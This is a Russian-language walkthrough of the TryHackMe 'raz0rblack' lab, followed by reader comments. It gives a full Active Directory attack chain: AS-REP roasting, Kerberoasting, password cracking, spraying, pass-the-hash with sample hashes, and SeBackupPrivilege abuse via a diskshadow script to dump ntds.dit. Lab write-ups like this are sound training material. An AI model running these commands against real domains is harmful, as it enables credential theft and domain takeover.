Приветствую, вас, уважаемые кулхацкеры. Данный райт будет посвящен прохождению машины raz0rblack на TryHackMe

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.

Шаг 0: Сканим Nmap-ом

Традиционно начинаем со сканирования сети с помощью Nmap

nmap -sC -sV -T4 10.10.215.15

-sC -> опция, запускающая сканирование на основе скриптов;

-sV -> определяет версии служб, запущенных на открытых портах;

-T4 -> время сканирования.

Результат сканирования
Результат сканирования

Хм, вроде ничего примечательного. Попробуем проенумить NFS.

Сетевая файловая система (NFS) - это распределенная файловая система, которая обеспечивает пользователям доступ к файлам, расположенным на удаленных компьютерах, и позволяет работать с этими файлами точно так же, как и с локальными.

nmap -sV –script=nfs* 10.10.215.15 -p 111
Результат работы скрипта Nmap
Результат работы скрипта Nmap

Шаг 1: Используем showmount

Также мы можем найти NFS при помощи утилиты showmount

showmount -e 10.10.215.15
Результат запроса showmount
Результат запроса showmount

Шаг 2: Монтируем /users

Создадим точку монтирования и смонтируем папку /users

mount -t nfs 10.10.215.15:/users ./creds

Посмотрев ее содержимое, мы увидим два файла

В txt будем лежать наш флаг, а вот в xlsx будет список пользователей

daven port
imogen royce
tamara vidal
arthur edwards
carl ingram
nolan cassidy
reza zaydan
ljudmila vetrova
rico delgado
tyson williams
steven bradley
chamber lin

Шаг 3: AS-REP Roasting

Имея список пользователей можно составить словарь для проведения AS-REP Roasting. Обычно, создавая пользователей в домене указывают первую букву имени, а за ним идет фамилия. Зная это, составим userlist, чтобы провести перебор пользователей без предварительной аутентификации.

dport
iroyce
tvidal
aedwards
cingram
ncassidy
rzaydan
lvetrova
rdelgado
twilliams
sbradley
clin

Для этого воспользуемся модулем GetNPUsers из утилиты Impacket

GetNPUsers raz0rblack.thm/ -userfile /root/users.txt -dc-ip 10.10.215.15

Результатом работы утилиты будет перехваченный AS-REP запрос пользователя twilliams.

Шаг 4: Брутфорсим с помощью JohnTheRipper

Перехватив запрос, мы можем запустить локальный перебор для получения пароля в открытом виде. Воспользуемся утилитой JohnTheRipper

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Шаг 5: Используем CrackMapExec

Зная данные учетной записи, запустим crackmapexec для перечисления пользователей путем брутфорса RID

crackmapexec smb 10.10.215.15 -u twilliams -p roastpotatoes --rid-brute

В результате работы получим новых валидных пользователей для проведения дальнейшей атаки: xyan1d3, lvetrova, sbradley.

Вновь используем crackmapexec для спреинга пароля для указанных пользователей

Шаг 6: Используем smbpasswd для смены пароля

Как видно, у пользователя sbradley стоит статус STATUS_PASSWORD_MUST_CHANGE. Для смены пароля воспользуемся утилитой smbpasswd

smbpasswd -r 10.10.215.15 -U sbradley

-r -> опция для указания адреса удаленной машины;

-U -> опция для указания пользователя.

Шаг 7: Вперед smbmap

Далее воспользуемся утилитой SMBMap.

SMBMap позволяет пользователям перечислять диски общего доступа samba по всему домену. Программа составляет список совместных дисков, прав доступа на диск, общее содержимое, имеет функциональность выгрузки/загрузки, автоматическую загрузку файлов, имя которых совпадает с образцом и даже возможность удалённого выполнения команд. Этот инструмент был создан для тестирования на проникновение и предназначен для упрощения поиска потенциально чувствительных данных в крупных сетях.

smbmap -H 10.10.215.15 -u sbradley -p password

В результате увидим список доступных share. Скорее всего нам будет интересна /trash.

Шаг 8: Подключаемся через smbclient

Для просмотра потенциально интересных файлов подключимся через smb с помощью smbclient

smbclient //10.10.215.15/trash --user='sbradley%password'

Скачаем доступные файлы. В их числе будет архив, защищенный паролем.

Шаг 9: Юзаем zip2john

Для взлома пароля арихва воспользуемся утилитами Zip2John и JohnTheRipper

zip2john experiment_gone_wrong.zip > zip_hash.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

Получив пароль в открытом виде, распакуем архив в котором содержится system.hive и ntds.dit.

Шаг 10: Достаем секреты с файлов

Чтобы локально извлечь секреты пользователей воспользуемся модулем secretsdump из утилиты Impacket

impacket-secretsdump --system system.hive -ntds ntds.dit LOCAL > dump.txt

Для отделения хешей из файла воспользуемся следующей командой

Шаг 11: CrackMapExec для подбора подходящего хеша

Для подбора хеша для пользователя lvetrova снова воспользуемся утилитой crackmapexec

crackmapexec smb 10.10.215.15 -u lvetrova -H hashes.txt

Шаг 12: Evil-WinRM

Для удаленного подключения будем использовать Evil-WinRM

evil-winrm -i 10.10.15.215 -u lvetrova -H f220d3988deb3f516c73f40ee16c431d

Посмотрев содержимое папки пользователя, увидим файл lvetrova.xml

В PowerShell есть метод хранения зашифрованных учетных данных, доступ к которым может получить только сохранившая их учетная запись пользователя. Приведенный выше код запрашивает учетные данные, а затем сохраняет их в зашифрованном виде в XML-файле. В результате получим флаг пользователя lvetrova.

Шаг 13: Проводим kerberoasting

Далее,зная имя пользователя и хеш его пароля, проведем атаку Kerberoasting, воспользуясь GetUserSPNs, запросив TGS

GetUserSPNs -dc-ip 10.10.215.15 raz0black.thm\lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile kerb.txt

Также, перехватив TGS, воспользуемся john для локального перебора паролей

john --rules --wordlist=/usr/share/wordlists/rockyou.txt kerb.txt

Шаг 14: Evil-WinRM с данными xyan1d3

evil-winrm -i 10.10.215.15 -u xyan1d3 -p cyanide9amine5628
whoami /all

У пользователя есть привилегия SeBackupPrivilege. Она была разработана с целью создания пользователями резервных копий. Эта привилегия должна обходить все ACL, установленные администратором в сети. Итак, в двух словах, данная привилегия позволяет пользователю читать любой файл на всей файловой системе, которая может также включать некоторые конфиденциальные файлы, такие как файл SAM или файл реестра SYSTEM. С точки зрения злоумышленника, эта привилегия может быть использована после того, как он закрепится в системе, а затем перейдет в повышенную оболочку, читая файлы SAM и, возможно, взламывая пароли пользователей с высокими привилегиями в системе или сети.

Для осуществления эскалации привилегий нам понадобится утилита diskshadow.exe, скрипт и две DLL: SeBackupPrivilegeUtils.dll и SeBackupPrivilegeCmdLets.dll.

Также создадим следующий скрипт для осуществления теневого копирования и назовем его diskshadow.txt:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

set verbose onX -> будет выводить подробную информацию о выполнении;

set metadata -> задает местоположение файла метаданных для создания теневых копий;

set context persistentX -> устанавливает постоянную теневую копию, которая сохранится после команды выхода Diskshadow и переживет перезагрузку компьютера;

begin backupX -> начинает процесс теневого копирования;

add volume C: alias cdriveX -> Псевдоним дает имя теневому идентификатору;

createX -> cоздает виртуальный диск моментального снимка на сервере DataCore Server и обслуживает виртуальный диск на том же компьюетере;

expose %cdrive% E:X -> Раскрывает теневой идентификатор операционной системе и присваивает указанному диску букву X:

end backupX -> завершает процесс теневого копирования.

Загрузим скрипт через команду:

upload diskshadow.txt

Также загрузим 2 DLL, которые можно скачать отсюда:

wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll

и также загрузим их через команду upload. После загрузки для работы DLL пропишем следующее

import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeCmdLets.dll

Сделав все процедуры запускаем наш скрипт через утилиту diskshadow.exe

diskshadow.exe /s C:\tmp\diskshadow.txt

/s-> указывает местоположение скрипта

После успешного создания теневой копии воспользуемся утилитой robocopy

robocopy /b E:\windows\ntds . ntds.dit

/b -> копирует файлы в режиме резервного копирования, что позволяет Robocopy переопределять параметры разрешений для файлов и папок (ACL). Это позволяет копировать файлы, к которым вы могли бы не иметь доступа, при условии, что они выполняются под учетной записью с достаточными привилегиями

После этого копируем куст реестра SYSTEM через команду reg save и выкачиваем наши файлы

reg save HKLM\SYSTEM C:\tmp\system

Шаг 15: Снова достаем креды

После скачивания файлов ntds.dit и system произведем локальный дамп секретов из этих файлов с помощью secretsdump

impacket-secretsdump -system system -ntds ntds.dit LOCAL

Шаг 16: Подключаемся с кредами админа

Получив хеш администратора подключимся с помощью того же evil-winrm

evil-winrm -i 10.10.215.15 -u administrator -H 9689931bed40ca5a2ce1218210177f0c

Просмотрим содержимое папки администратора

С помощью type откроем файл root.xml

Это наш флаг. Конвертируем из hex в обычный текст:

Here is your Root Flag
THM{1b4f46cc4fba46348273d18dc91da20d}

Также найдем флаг пользователя twilliams

И последний штрих: посмотрев все папки найдем директорию Top Secret, увидим там картинку и выкачаем ее

Это все, что мы хотели показать в данном разборе. Помните: 100% стойких систем не бывает. Практикуйтесь, ведь без этого никуда абсолютно любому пентестеру!

Комментарии (9)


  1. fish224
    02.10.2023 19:32
    +1

    Боюсь, что если пароль будет не "123456" а довольно сложным, то Ваш метод, изложенный в статье, ничего взломать не сможет..


    1. wearetyomsmnv
      02.10.2023 19:32
      +2

      Прошу обратить внимание на название статьи - это райтап к учебной машине... Ясное дело, что в боевом пентесте, у заказчика будут совершенно другие креды ... а может быть и нет


      1. uhahatbl_tv
        02.10.2023 19:32
        +3

        Как показывает практика - «а может быть и нет…»????


  1. olegtsss
    02.10.2023 19:32

    Спасибо за статью. Не совсем понятно, а что делает:
    $Credential = Import-Clixml -Path ".\file.xml"
    $Credential.GetNetworkCredential().password


    1. ap_security Автор
      02.10.2023 19:32
      +1

      1. olegtsss
        02.10.2023 19:32

        Вот тут тогда надо переформулировать, иначе возникает не однозначность:
        Приведенный выше код запрашивает учетные данные, а затем сохраняет их в зашифрованном виде в XML-файле. Import-Clixm импортирует из файла file.xml (который кто-то нечаянно забыл) ценную информацию в объект $Credential.

        Я на практике ни разу этим не пользовался. А зачем вообще это нужно было делать было админу?


        1. ap_security Автор
          02.10.2023 19:32
          +1

          Это просто особенность решения данной машины


  1. cinquefoil2016
    02.10.2023 19:32

    А мне интересно AD на какой ОС построена и обновления все актуальные?


    1. ap_security Автор
      02.10.2023 19:32
      +1

      В основном Active Directory строится на базе семейства ОС Windows, ну потому что это все разработка Microsoft. А как раз при проведении пентестов часто встречаются либо непропатченные уязвимости, либо ошибки при настройке, которые и приводят к взлому системы